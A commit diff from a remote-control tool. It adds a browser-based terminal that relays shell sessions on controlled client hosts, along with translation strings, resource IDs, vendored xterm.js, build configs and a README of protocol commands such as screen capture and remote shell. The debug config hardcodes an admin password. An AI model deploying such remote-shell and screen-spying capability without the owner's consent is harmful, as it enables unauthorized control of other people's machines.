CONTEXT_OBJECT* shellCtx = nullptr;
bool isPty = false;
{
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermSessions.find(device_id);
if (it == m_TermSessions.end() || it->second.ws_ptr != ws_ptr) return;
shellCtx = it->second.shell_ctx;
isPty = it->second.is_pty;
}
if (!shellCtx || !isPty) return; // 老 cmd 模式不支持 resize
BYTE buf[5];
buf[0] = CMD_TERMINAL_RESIZE;
*(short*)(buf + 1) = (short)cols;
*(short*)(buf + 3) = (short)rows;
shellCtx->Send2Client(buf, 5);
}
void CWebService::HandleTermClose(void* ws_ptr, const std::string& msg) {
Json::Value root; Json::Reader rdr;
if (!rdr.parse(msg, root)) return;
std::string id_str = root.get("id", "").asString();
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
if (!device_id) return;
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermSessions.find(device_id);
if (it == m_TermSessions.end() || it->second.ws_ptr != ws_ptr) return;
CloseTermSessionLocked(device_id);
}
void CWebService::CloseTermSessionLocked(uint64_t device_id) {
auto it = m_TermSessions.find(device_id);
if (it == m_TermSessions.end()) return;
CONTEXT_OBJECT* shellCtx = it->second.shell_ctx;
void* ws_ptr = it->second.ws_ptr;
m_TermSessions.erase(it);
m_TermPending.erase(device_id);
if (shellCtx) {
m_TermContextToDevice.erase(shellCtx);
// 触发客户端 shell 退出:直接断该子上下文
// (老 ShellDlg 是直接 Send TOKEN_BYE 之类,但断开更可靠)
shellCtx->CancelIO();
}
// 通知前端
SendText(ws_ptr, BuildJsonResponse("term_closed", true, "closed"));
Mprintf("[WebService] term_closed device=%llu\n", device_id);
}
bool CWebService::IsTermPending(uint64_t device_id) {
std::lock_guard<std::mutex> lk(m_TermMutex);
return m_TermPending.find(device_id) != m_TermPending.end();
}
void CWebService::RegisterTerminalContext(uint64_t device_id, CONTEXT_OBJECT* ctx, bool isPty) {
void* ws_ptr_to_notify = nullptr;
{
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermSessions.find(device_id);
if (it == m_TermSessions.end()) return; // 没有等的 web session 了
it->second.shell_ctx = ctx;
it->second.is_pty = isPty;
m_TermContextToDevice[ctx] = device_id;
m_TermPending.erase(device_id);
ws_ptr_to_notify = it->second.ws_ptr;
}
// 关键步骤:告知客户端"启动 shell 输出回流"。
// PTY 模式:客户端 PTYHandler 已 fork 了 shell 子进程,但读线程要靠 COMMAND_NEXT 才启动
// (参考 TerminalDlg::OnTerminalReady。漏发会导致 shell 在跑但输出永远不送回。
// PTY 还要先告知初始 cols/rows默认 80x24否则 shell 会按 PTY 默认尺寸渲染,
// vim 等 TUI 在浏览器侧的 fit 调整前会乱。后续浏览器 term_resize 会再调整。
if (isPty) {
BYTE resizeBuf[5];
resizeBuf[0] = CMD_TERMINAL_RESIZE;
*(short*)(resizeBuf + 1) = (short)80;
*(short*)(resizeBuf + 3) = (short)24;
ctx->Send2Client(resizeBuf, 5);
}
BYTE startCmd = COMMAND_NEXT;
ctx->Send2Client(&startCmd, 1);
// 通知前端 ready告知模式pty / legacy
if (ws_ptr_to_notify) {
SendText(ws_ptr_to_notify, BuildTermJson("term_ready", {{"mode", isPty ? "pty" : "legacy"}}));
}
Mprintf("[WebService] term_ready device=%llu mode=%s\n",
device_id, isPty ? "pty" : "legacy");
}
bool CWebService::IsTerminalContext(CONTEXT_OBJECT* ctx) {
std::lock_guard<std::mutex> lk(m_TermMutex);
return m_TermContextToDevice.find(ctx) != m_TermContextToDevice.end();
}
void CWebService::OnTerminalData(CONTEXT_OBJECT* ctx, const BYTE* data, ULONG len) {
void* ws_ptr = nullptr;
{
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermContextToDevice.find(ctx);
if (it == m_TermContextToDevice.end()) return;
auto sit = m_TermSessions.find(it->second);
if (sit == m_TermSessions.end()) return;
ws_ptr = sit->second.ws_ptr;
}
if (!ws_ptr || !data || !len) return;
// 用 binary frame 透传字节流(避免 JSON 二进制不可见字符 / 编码膨胀)。
// 帧格式:[4B magic 'TRM1'][N=payload]
// 4 字节 magic = 0x54 0x52 0x4D 0x31 —— 视频帧首 4 字节是 deviceIDuint32 LE
// 撞这个具体值 (0x314D5254) 的概率极低,浏览器侧据此安全分流。
std::vector<uint8_t> packet;
packet.reserve(len + 4);
packet.push_back('T'); packet.push_back('R'); packet.push_back('M'); packet.push_back('1');
packet.insert(packet.end(), data, data + len);
SendBinary(ws_ptr, packet.data(), packet.size());
}
void CWebService::OnTerminalClosed(CONTEXT_OBJECT* ctx) {
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermContextToDevice.find(ctx);
if (it == m_TermContextToDevice.end()) return;
uint64_t device_id = it->second;
CloseTermSessionLocked(device_id);
}
//////////////////////////////////////////////////////////////////////////
// Screen Context Registry (for mouse/keyboard control)
//////////////////////////////////////////////////////////////////////////

View File

@@ -247,6 +247,27 @@ public:
void UnregisterScreenContext(uint64_t device_id);
CONTEXT_OBJECT* GetScreenContext(uint64_t device_id);
// ========== Web Terminal (Phase 1: 1 user per device) ==========
// Web 终端会话桥:把浏览器端 xterm.js ↔ 客户端 shell 子上下文连起来。
// 设计:每台主机最多一个 Web 终端会话;如果别的浏览器请求同一台主机的终端,
// 拒绝UX 上后续可改成共享只读)。
// 生命周期term_open → COMMAND_SHELL → 客户端建子上下文 → MessageHandle
// 看到 TOKEN_TERMINAL_START / TOKEN_SHELL_START + IsTermPending(d) →
// 调 RegisterTerminalContext 接管,跳过 MFC dialog 打开。
// 浏览器侧入口
void HandleTermOpen(void* ws_ptr, const std::string& msg);
void HandleTermInput(void* ws_ptr, const std::string& msg);
void HandleTermResize(void* ws_ptr, const std::string& msg);
void HandleTermClose(void* ws_ptr, const std::string& msg);
// MessageHandle 向 WebService 询问 / 移交的钩子
bool IsTermPending(uint64_t device_id); // 决定是否要拦截 dialog 打开
void RegisterTerminalContext(uint64_t device_id, CONTEXT_OBJECT* ctx, bool isPty);
bool IsTerminalContext(CONTEXT_OBJECT* ctx); // 是否是 Web 终端持有的上下文
void OnTerminalData(CONTEXT_OBJECT* ctx, const BYTE* data, ULONG len);// 把 shell 输出泵到对应 web client
void OnTerminalClosed(CONTEXT_OBJECT* ctx); // shell 子上下文断开时清理
private:
// Screen context registry: device_id -> ScreenManager's CONTEXT_OBJECT
std::map<uint64_t, CONTEXT_OBJECT*> m_ScreenContexts;
@@ -255,6 +276,21 @@ private:
// MFC triggered devices: dialogs created by MFC should always be visible
std::set<uint64_t> m_MfcTriggeredDevices;
std::mutex m_MfcTriggeredMutex;
// Web 终端会话状态
struct WebTermSession {
void* ws_ptr; // browser WebSocket
uint64_t device_id;
CONTEXT_OBJECT* shell_ctx; // shell 子上下文(首条消息抵达后才填)
bool is_pty; // true=TOKEN_TERMINAL现代 PTY, false=TOKEN_SHELL老 cmd 管道)
};
std::map<uint64_t, WebTermSession> m_TermSessions; // by device_id
std::map<CONTEXT_OBJECT*, uint64_t> m_TermContextToDevice; // 反查 ctx → device_id
std::set<uint64_t> m_TermPending; // 已发 COMMAND_SHELL 待响应
std::mutex m_TermMutex;
// 内部清理(已持锁版本)
void CloseTermSessionLocked(uint64_t device_id);
};
// Global accessor

View File

@@ -105,6 +105,7 @@ RTT=RTT
解密数据=Decrypt Data
画板=Drawing
屏幕墙=Screen Wall
替换=Replace
替换图标=Replace Icon
发送文件=Send File
历史主机=Host History
@@ -1783,8 +1784,11 @@ IOCP
标准FRPC[不可用]=Standard FRPC [Unavailable]
不自动执行=No Auto Execute
启动执行=Execute on Startup
每日定时[未实现]=Daily Schedule [Not Implemented]
每周定时[未实现]=Weekly Schedule [Not Implemented]
每日定时=Daily Schedule
每周定时=Weekly Schedule
每月定时=Monthly Schedule
每年定时=Yearly Schedule
关闭执行=Turn OFF
名称=Name
大小=Size
运行类型=Run Type
@@ -1831,3 +1835,22 @@ IOCP
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=Note: The macOS binary has been modified, invalidating its code signature. Running it directly will be killed by the system.
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=Recommended: Copy to macOS and run install.sh (the script re-signs automatically).
或手动重签:=Or re-sign manually:
<请输入文本用于替换远程剪切板>=<Please input text to replace remote clipboard>
; Screen Preview Loop - English Translation
; Format: Simplified Chinese=English
主机:=Host:
分辨率:=Resolution:
有 %d 个主机不支持屏幕预览,已跳过=%d host(s) do not support screen preview, skipped
播放快照=Play Snapshot
快照=Snapshot
预览=Preview
主机列表预览图=Host List Thumbnails
入站告警=Inbound Alert
反代理告警=Anti-Proxy Alert
试用版 LAN-only 限制=Trial Version - LAN Only Restriction
入站公网 IP=%s Proxy Protocol 真实 IP 或 raw TCP 对端)=Inbound public IP=%s (resolved via Proxy Protocol v2 real IP or raw TCP peer)
检测到入站连接来自公网 IP%s\r\n\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n如需跨网远控请向发行方申请正式授权。\r\n\r\n详细记录见消息列表与运行日志。=Inbound connection from public IP: %s\r\n\r\nTrial version is restricted to LAN-only usage; cross-network use violates the license terms.\r\nFor cross-network remote control, please obtain a commercial license from the publisher.\r\n\r\nSee the message list and runtime log for full details.
检测到可疑连接:内核 RTT 中位数 %d ms超出阈值 %d ms。\r\n\r\n持续偏高的 RTT 提示该连接可能经由代理 / VPN / 隧道中转。\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n\r\n如需跨网远控请向发行方申请正式授权。\r\n详细记录见消息列表与运行日志。=Suspicious connection detected: kernel-measured RTT median %d ms exceeds the threshold of %d ms.\r\n\r\nA persistently elevated RTT suggests the connection is being relayed through a proxy / VPN / tunnel.\r\nTrial version is restricted to LAN-only usage; cross-network use violates the license terms.\r\n\r\nFor cross-network remote control, please obtain a commercial license from the publisher.\r\nSee the message list and runtime log for full details.

View File

@@ -105,6 +105,7 @@ RTT=RTT
解密数据=解密資料
画板=繪圖板
屏幕墙=螢幕牆
替换=替換
替换图标=替換圖示
发送文件=傳送檔案
历史主机=歷史主機
@@ -1775,8 +1776,11 @@ IOCP
标准FRPC[不可用]=標準FRPC[不可用]
不自动执行=不自動執行
启动执行=啟動執行
每日定时[未实现]=每日定時[未實現]
每周定时[未实现]=每週定時[未實現]
每日定时=每日定時
每周定时=每週定時
每月定时=每月定时
每年定时=每年定时
关闭执行=关闭执行
名称=名稱
大小=大小
运行类型=執行類型
@@ -1822,3 +1826,22 @@ IOCP
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=提示: macOS 端 binary 已被修改導致簽章失效,直接執行會被系統強制終止。
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=推薦: 複製到 macOS 後執行 install.sh 安裝 (腳本會自動重新簽章)。
或手动重签:=或手動重新簽章:
<请输入文本用于替换远程剪切板>=<请输入文本用于替换远程剪切板>
; Screen Preview Loop - Traditional Chinese Translation
; Format: Simplified Chinese=Traditional Chinese
主机:=主機:
分辨率:=解析度:
有 %d 个主机不支持屏幕预览,已跳过=有 %d 個主機不支援螢幕預覽,已跳過
播放快照=播放快照
快照=快照
预览=預覽
主机列表预览图=主機列表預覽圖
入站告警=入站告警
反代理告警=反代理告警
试用版 LAN-only 限制=試用版 LAN-only 限制
入站公网 IP=%s Proxy Protocol 真实 IP 或 raw TCP 对端)=入站公網 IP=%s Proxy Protocol 真實 IP 或 raw TCP 對端)
检测到入站连接来自公网 IP%s\r\n\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n如需跨网远控请向发行方申请正式授权。\r\n\r\n详细记录见消息列表与运行日志。=檢測到入站連線來自公網 IP%s\r\n\r\n試用版僅供 LAN 內自用,跨網使用屬於違反授權條款。\r\n如需跨網遠控請向發行方申請正式授權。\r\n\r\n詳細記錄請見訊息列表與執行日誌。
检测到可疑连接:内核 RTT 中位数 %d ms超出阈值 %d ms。\r\n\r\n持续偏高的 RTT 提示该连接可能经由代理 / VPN / 隧道中转。\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n\r\n如需跨网远控请向发行方申请正式授权。\r\n详细记录见消息列表与运行日志。=檢測到可疑連線:核心 RTT 中位數 %d ms超出閾值 %d ms。\r\n\r\n持續偏高的 RTT 提示該連線可能經由代理 / VPN / 隧道中轉。\r\n試用版僅供 LAN 內自用,跨網使用屬於違反授權條款。\r\n\r\n如需跨網遠控請向發行方申請正式授權。\r\n詳細記錄請見訊息列表與執行日誌。

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.3 KiB

8
server/2015Remote/res/web/fit.min.js vendored Normal file
View File

@@ -0,0 +1,8 @@
/**
* Skipped minification because the original files appears to be already minified.
* Original file: /npm/xterm-addon-fit@0.8.0/lib/xterm-addon-fit.js
*
* Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files
*/
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.FitAddon=t():e.FitAddon=t()}(self,(()=>(()=>{"use strict";var e={};return(()=>{var t=e;Object.defineProperty(t,"__esModule",{value:!0}),t.FitAddon=void 0,t.FitAddon=class{activate(e){this._terminal=e}dispose(){}fit(){const e=this.proposeDimensions();if(!e||!this._terminal||isNaN(e.cols)||isNaN(e.rows))return;const t=this._terminal._core;this._terminal.rows===e.rows&&this._terminal.cols===e.cols||(t._renderService.clear(),this._terminal.resize(e.cols,e.rows))}proposeDimensions(){if(!this._terminal)return;if(!this._terminal.element||!this._terminal.element.parentElement)return;const e=this._terminal._core,t=e._renderService.dimensions;if(0===t.css.cell.width||0===t.css.cell.height)return;const r=0===this._terminal.options.scrollback?0:e.viewport.scrollBarWidth,i=window.getComputedStyle(this._terminal.element.parentElement),o=parseInt(i.getPropertyValue("height")),s=Math.max(0,parseInt(i.getPropertyValue("width"))),n=window.getComputedStyle(this._terminal.element),l=o-(parseInt(n.getPropertyValue("padding-top"))+parseInt(n.getPropertyValue("padding-bottom"))),a=s-(parseInt(n.getPropertyValue("padding-right"))+parseInt(n.getPropertyValue("padding-left")))-r;return{cols:Math.max(2,Math.floor(a/t.css.cell.width)),rows:Math.max(1,Math.floor(l/t.css.cell.height))}}}})(),e})()));
//# sourceMappingURL=xterm-addon-fit.js.map

View File

@@ -0,0 +1,209 @@
/**
* Copyright (c) 2014 The xterm.js authors. All rights reserved.
* Copyright (c) 2012-2013, Christopher Jeffrey (MIT License)
* https://github.com/chjj/term.js
* @license MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
* Originally forked from (with the author's permission):
* Fabrice Bellard's javascript vt100 for jslinux:
* http://bellard.org/jslinux/
* Copyright (c) 2011 Fabrice Bellard
* The original design remains. The terminal itself
* has been extended to include xterm CSI codes, among
* other features.
*/
/**
* Default styles for xterm.js
*/
.xterm {
cursor: text;
position: relative;
user-select: none;
-ms-user-select: none;
-webkit-user-select: none;
}
.xterm.focus,
.xterm:focus {
outline: none;
}
.xterm .xterm-helpers {
position: absolute;
top: 0;
/**
* The z-index of the helpers must be higher than the canvases in order for
* IMEs to appear on top.
*/
z-index: 5;
}
.xterm .xterm-helper-textarea {
padding: 0;
border: 0;
margin: 0;
/* Move textarea out of the screen to the far left, so that the cursor is not visible */
position: absolute;
opacity: 0;
left: -9999em;
top: 0;
width: 0;
height: 0;
z-index: -5;
/** Prevent wrapping so the IME appears against the textarea at the correct position */
white-space: nowrap;
overflow: hidden;
resize: none;
}
.xterm .composition-view {
/* TODO: Composition position got messed up somewhere */
background: #000;
color: #FFF;
display: none;
position: absolute;
white-space: nowrap;
z-index: 1;
}
.xterm .composition-view.active {
display: block;
}
.xterm .xterm-viewport {
/* On OS X this is required in order for the scroll bar to appear fully opaque */
background-color: #000;
overflow-y: scroll;
cursor: default;
position: absolute;
right: 0;
left: 0;
top: 0;
bottom: 0;
}
.xterm .xterm-screen {
position: relative;
}
.xterm .xterm-screen canvas {
position: absolute;
left: 0;
top: 0;
}
.xterm .xterm-scroll-area {
visibility: hidden;
}
.xterm-char-measure-element {
display: inline-block;
visibility: hidden;
position: absolute;
top: 0;
left: -9999em;
line-height: normal;
}
.xterm.enable-mouse-events {
/* When mouse events are enabled (eg. tmux), revert to the standard pointer cursor */
cursor: default;
}
.xterm.xterm-cursor-pointer,
.xterm .xterm-cursor-pointer {
cursor: pointer;
}
.xterm.column-select.focus {
/* Column selection mode */
cursor: crosshair;
}
.xterm .xterm-accessibility,
.xterm .xterm-message {
position: absolute;
left: 0;
top: 0;
bottom: 0;
right: 0;
z-index: 10;
color: transparent;
pointer-events: none;
}
.xterm .live-region {
position: absolute;
left: -9999px;
width: 1px;
height: 1px;
overflow: hidden;
}
.xterm-dim {
/* Dim should not apply to background, so the opacity of the foreground color is applied
* explicitly in the generated class and reset to 1 here */
opacity: 1 !important;
}
.xterm-underline-1 { text-decoration: underline; }
.xterm-underline-2 { text-decoration: double underline; }
.xterm-underline-3 { text-decoration: wavy underline; }
.xterm-underline-4 { text-decoration: dotted underline; }
.xterm-underline-5 { text-decoration: dashed underline; }
.xterm-overline {
text-decoration: overline;
}
.xterm-overline.xterm-underline-1 { text-decoration: overline underline; }
.xterm-overline.xterm-underline-2 { text-decoration: overline double underline; }
.xterm-overline.xterm-underline-3 { text-decoration: overline wavy underline; }
.xterm-overline.xterm-underline-4 { text-decoration: overline dotted underline; }
.xterm-overline.xterm-underline-5 { text-decoration: overline dashed underline; }
.xterm-strikethrough {
text-decoration: line-through;
}
.xterm-screen .xterm-decoration-container .xterm-decoration {
z-index: 6;
position: absolute;
}
.xterm-screen .xterm-decoration-container .xterm-decoration.xterm-decoration-top-layer {
z-index: 7;
}
.xterm-decoration-overview-ruler {
z-index: 8;
position: absolute;
top: 0;
right: 0;
pointer-events: none;
}
.xterm-decoration-top {
z-index: 2;
position: relative;
}

File diff suppressed because one or more lines are too long

View File

@@ -255,8 +255,14 @@
#define IDR_MACOS_GHOST 372
#define IDB_BITMAP_WEBDESKTOP 373
#define IDB_BITMAP_PLUGINCONFIG 374
#define IDB_BITMAP_SNAPSHOT 375
#define IDI_ICON_SNAPSHOT 376
#define IDR_LANG_EN_US 380
#define IDR_LANG_ZH_TW 381
#define IDR_WEB_XTERM_JS 382
#define IDR_WEB_XTERM_CSS 383
#define IDR_WEB_XTERM_FIT_JS 384
#define IDR_WEB_INDEX_HTML 385
#define IDC_MESSAGE 1000
#define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002
@@ -731,8 +737,11 @@
#define IDC_STATIC_PLUGIN_INTERVAL 2537
#define IDC_STATIC_PLUGIN_COUNTER 2538
#define IDC_COMBO_TRIGGER_TYPE 2539
#define IDC_EDIT_CLIPBOARD 2539
#define IDC_LIST_TRIGGER_PLUGINS 2540
#define IDC_EDIT_TEXTRULE 2540
#define IDC_BTN_TRIGGER_ADD 2541
#define IDC_BTN_APPLY_TEXTRULE 2541
#define IDC_BTN_TRIGGER_REMOVE 2542
#define IDC_LIST_TRIGGERS 2543
#define IDC_STATIC_TRIGGER_TYPE 2544
@@ -971,15 +980,18 @@
#define ID_33046 33046
#define ID_PROXY_PORT_AUTORUN 33047
#define ID_TRIGGER_SETTINGS 33048
#define ID_33048 33048
#define ID_SCREENPREVIEW_LOOP 33049
#define ID_PARAM_THUMBNAIL_PREVIEW 33050
#define ID_EXIT_FULLSCREEN 40001
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 373
#define _APS_NEXT_COMMAND_VALUE 33048
#define _APS_NEXT_CONTROL_VALUE 2539
#define _APS_NEXT_RESOURCE_VALUE 386
#define _APS_NEXT_COMMAND_VALUE 33051
#define _APS_NEXT_CONTROL_VALUE 2542
#define _APS_NEXT_SYMED_VALUE 105
#endif
#endif

View File

@@ -102,6 +102,9 @@
#define WM_DISCONNECT WM_USER+3032
#define WM_OPENTERMINALDIALOG WM_USER+3033
#define WM_PREVIEW_RESPONSE WM_USER+3034
#define WM_PREVIEW_LOOP_CLOSED WM_USER+3035
#define WM_TRIAL_RTT_ABUSE WM_USER+3036 // 试用版 RTT 反代理:服务端检测到滥用,通知主窗口弹框
#define WM_TRIAL_WAN_IP_ABUSE WM_USER+3037 // 试用版 IP 段检测OnAccept 发现入站为公网 IP通知主窗口弹框
#ifdef _UNICODE
#if defined _M_IX86

View File

@@ -8,9 +8,14 @@
"mode": "auto",
"program": "${workspaceFolder}/cmd",
"cwd": "${workspaceFolder}",
"args": [],
"env": {},
"console": "integratedTerminal"
"args": [
"-port=9090"
],
"env": {
"YAMA_WEB_ADMIN_PASS": "3.14159"
},
"console": "integratedTerminal",
"preLaunchTask": "sync-web-assets"
},
{
"name": "Debug Server",
@@ -22,9 +27,12 @@
"args": [
"-port=9090"
],
"env": {},
"env": {
"YAMA_WEB_ADMIN_PASS": "3.14159"
},
"console": "integratedTerminal",
"buildFlags": "-gcflags='all=-N -l'"
"buildFlags": "-gcflags='all=-N -l'",
"preLaunchTask": "sync-web-assets"
}
]
}

20
server/go/.vscode/tasks.json vendored Normal file
View File

@@ -0,0 +1,20 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "sync-web-assets",
"type": "shell",
"command": "powershell",
"args": [
"-NoProfile",
"-Command",
"New-Item -ItemType Directory -Force -Path '${workspaceFolder}\\web\\assets' | Out-Null; Copy-Item -Force '${workspaceFolder}\\..\\web\\index.html' '${workspaceFolder}\\web\\assets\\index.html'"
],
"presentation": {
"reveal": "silent",
"panel": "dedicated"
},
"problemMatcher": []
}
]
}

View File

@@ -17,41 +17,49 @@ LDFLAGS=-ldflags "-s -w"
MKDIR=if not exist $(BUILD_DIR) mkdir $(BUILD_DIR)
RMDIR=if exist $(BUILD_DIR) rmdir /s /q $(BUILD_DIR)
.PHONY: all clean windows linux build help windows-386 linux-arm64 all-platforms test fmt deps
.PHONY: all clean windows linux build help windows-386 linux-arm64 all-platforms test fmt deps sync
# Default target
all: clean windows linux
# Sync web assets from server/web/ into web/assets/ for //go:embed.
# Single source of truth is server/web/index.html; this just keeps a vendored copy.
sync:
@echo Syncing web assets from ../web/...
@if not exist web\assets mkdir web\assets
@copy /Y ..\web\index.html web\assets\index.html >nul
@echo Done
# Build for current platform
build:
build: sync
@echo Building for current platform...
@$(MKDIR)
go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME).exe $(MAIN_PACKAGE)
@echo Done
# Build for Windows (amd64)
windows:
windows: sync
@echo Building for Windows amd64...
@$(MKDIR)
set GOOS=windows&& set GOARCH=amd64&& go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME)_windows_amd64.exe $(MAIN_PACKAGE)
@echo Done: $(BUILD_DIR)\$(BINARY_NAME)_windows_amd64.exe
# Build for Windows (386)
windows-386:
windows-386: sync
@echo Building for Windows 386...
@$(MKDIR)
set GOOS=windows&& set GOARCH=386&& go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME)_windows_386.exe $(MAIN_PACKAGE)
@echo Done: $(BUILD_DIR)\$(BINARY_NAME)_windows_386.exe
# Build for Linux (amd64)
linux:
linux: sync
@echo Building for Linux amd64...
@$(MKDIR)
set GOOS=linux&& set GOARCH=amd64&& go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME)_linux_amd64 $(MAIN_PACKAGE)
@echo Done: $(BUILD_DIR)\$(BINARY_NAME)_linux_amd64
# Build for Linux (arm64)
linux-arm64:
linux-arm64: sync
@echo Building for Linux arm64...
@$(MKDIR)
set GOOS=linux&& set GOARCH=arm64&& go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME)_linux_arm64 $(MAIN_PACKAGE)
@@ -89,6 +97,7 @@ help:
@echo linux - Build for Linux amd64
@echo linux-arm64 - Build for Linux arm64
@echo all-platforms - Build for all platforms
@echo sync - Sync web assets from ../web/ for //go:embed
@echo clean - Clean build directory
@echo test - Run tests
@echo fmt - Format code

View File

@@ -25,36 +25,78 @@ server/go/
│ └── pool.go # Goroutine 工作池
├── logger/
│ └── logger.go # 日志模块 (基于 zerolog)
├── hub/
│ └── hub.go # 在线设备注册表 + 事件订阅
├── wsauth/
│ └── wsauth.go # Web 鉴权 (challenge-response + 不透明 token)
├── web/
│ ├── embed.go # //go:embed 嵌入 HTML/xterm.js 等 web 资源
│ ├── server.go # HTTP server (静态页面 + REST + WS 路由)
│ ├── ws.go # WebSocket 连接生命周期
│ ├── ws_handlers.go # WS 消息分发与处理
│ └── assets/
│ ├── index.html # 从 ../../web/index.html sync 而来 (gitignored)
│ └── static/ # 第三方 xterm.js 资源 (checked in)
└── cmd/
└── main.go # 程序入口
```
## 核心特性
底层基础设施:
- **高并发**: 基于 Goroutine 池管理并发连接
- **协议兼容**: 支持原有 C++ 客户端的多种协议标识 (Hell/Hello/Shine/Fuck)
- **协议头解密**: 支持8种协议头加密方式 (V0-V6 + Default)
- **授权验证**: 支持 TOKEN_AUTH 和 Heartbeat HMAC-SHA256 双重授权验证
- **XOR编码**: 支持 XOREncoder16 数据编码/解码
- **ZSTD 压缩**: 使用高效的 ZSTD 算法进行数据压缩
- **GBK编码**: 自动将 Windows 客户端的 GBK 编码转换为 UTF-8
- **线程安全**: Buffer、连接管理器和 LastActive 均为线程安全设计
- **优雅关闭**: 支持信号处理和优雅停机,自动释放资源
- **可配置**: 支持自定义端口、最大连接数、超时时间等
- **日志系统**: 基于 zerolog支持文件输出、日志轮转、客户端上下线记录
- **协议兼容**: 支持原有客户端的多种协议标识 (Hell/Hello/Shine/Fuck)
- **协议头解密**: 支持 8 种协议头加密方式 (V0-V6 + Default)
- **授权验证**: TOKEN_AUTH 和 Heartbeat HMAC-SHA256 双重授权
- **XOR 编码 / ZSTD 压缩**: 与客户端完全兼容
- **字符编码自适应**: 根据客户端能力位选择 UTF-8 直通或 GBK→UTF-8 转换
- **线程安全 / 优雅关闭 / 多端口监听 / 结构化日志**
Web 应用能力 (Phase 3-7)
- **Web 鉴权**: challenge-response 登录 + 不透明 token与 users.json schema 互通
- **登录加固**: 双维度速率限制10 次/分钟·IP + 5 次/15 分钟·用户名)+ 失败固定延迟,防口令枚举;`/get_salt` 用确定性假盐响应未知用户杜绝用户名探测WebSocket Origin 同源校验 + 显式白名单;`/api/devices` Bearer Token 鉴权
- **设备列表与监控**: 在线设备 / RTT / 活动窗口 / 分辨率 实时下发
- **Web 远程桌面**: 浏览器 WebCodecs 解码 H.264,二进制 WS 帧低延迟中继late-join 自动重发最近 IDR优雅 BYE 关闭防止客户端无意义重连
- **鼠标 / 键盘输入**: Win32 消息映射 (`WM_*` / `VK_*` / `MK_*`)MSG64 48 字节布局直传客户端
- **Web 终端**: xterm.js + Windows ConPTY / 旧 cmd 管道双模式;二进制 "TRM1" 帧分流;尺寸自适应;单设备单 viewer
- **用户与分组**: admin 可创建/删除 viewer 账号、配置 allowed_groupsusers.json 原子写入
## 支持的命令
当前已实现以下命令处理:
### 客户端 → 服务端
| 命令 | 值 | 说明 |
|------|-----|------|
| TOKEN_AUTH | 100 | 授权请求 (验证 SN + Passcode + HMAC) |
| TOKEN_HEARTBEAT | 101 | 心跳包 (支持 HMAC 授权验证,返回 Authorized 状态) |
| TOKEN_LOGIN | 102 | 客户端登录 |
| CMD_HEARTBEAT_ACK | 216 | 心跳响应 (包含 Authorized 字段) |
| Token | 值 | 用途 |
| ---- | ---- | ---- |
| `TOKEN_AUTH` | 100 | 授权请求SN + Passcode + HMAC |
| `TOKEN_HEARTBEAT` | 101 | 心跳包(携带 ActiveWnd / Ping / SN |
| `TOKEN_LOGIN` | 102 | 主连接登录 |
| `TOKEN_BITMAPINFO` | 115 | 屏幕子连接首包,含分辨率 + clientID |
| `TOKEN_FIRSTSCREEN` | 116 | 原始 BGRA 首帧Go 侧丢弃) |
| `TOKEN_NEXTSCREEN` | 117 | H.264 屏幕帧 |
| `TOKEN_SHELL_START` | 128 | 旧 cmd-pipe 终端子连接首包 |
| `TOKEN_KEYFRAME` | 134 | GOP 关键帧DEFAULT_GOP 无限大,实际未用) |
| `TOKEN_TERMINAL_START` | 232 | PTY 终端子连接首包 |
| `TOKEN_TERMINAL_CLOSE` | 233 | 终端关闭通知 |
| `TOKEN_CONN_AUTH` | 246 | 子连接身份握手,含 clientID |
| (raw bytes) | — | 终端 sub-conn 绑定后裸字节即 shell 输出 |
其他命令会被记录为 Debug 日志,可按需扩展。
### 服务端 → 客户端
| Command | 值 | 用途 |
| ---- | ---- | ---- |
| `COMMAND_SCREEN_SPY` | 16 | 启动屏幕捕获 |
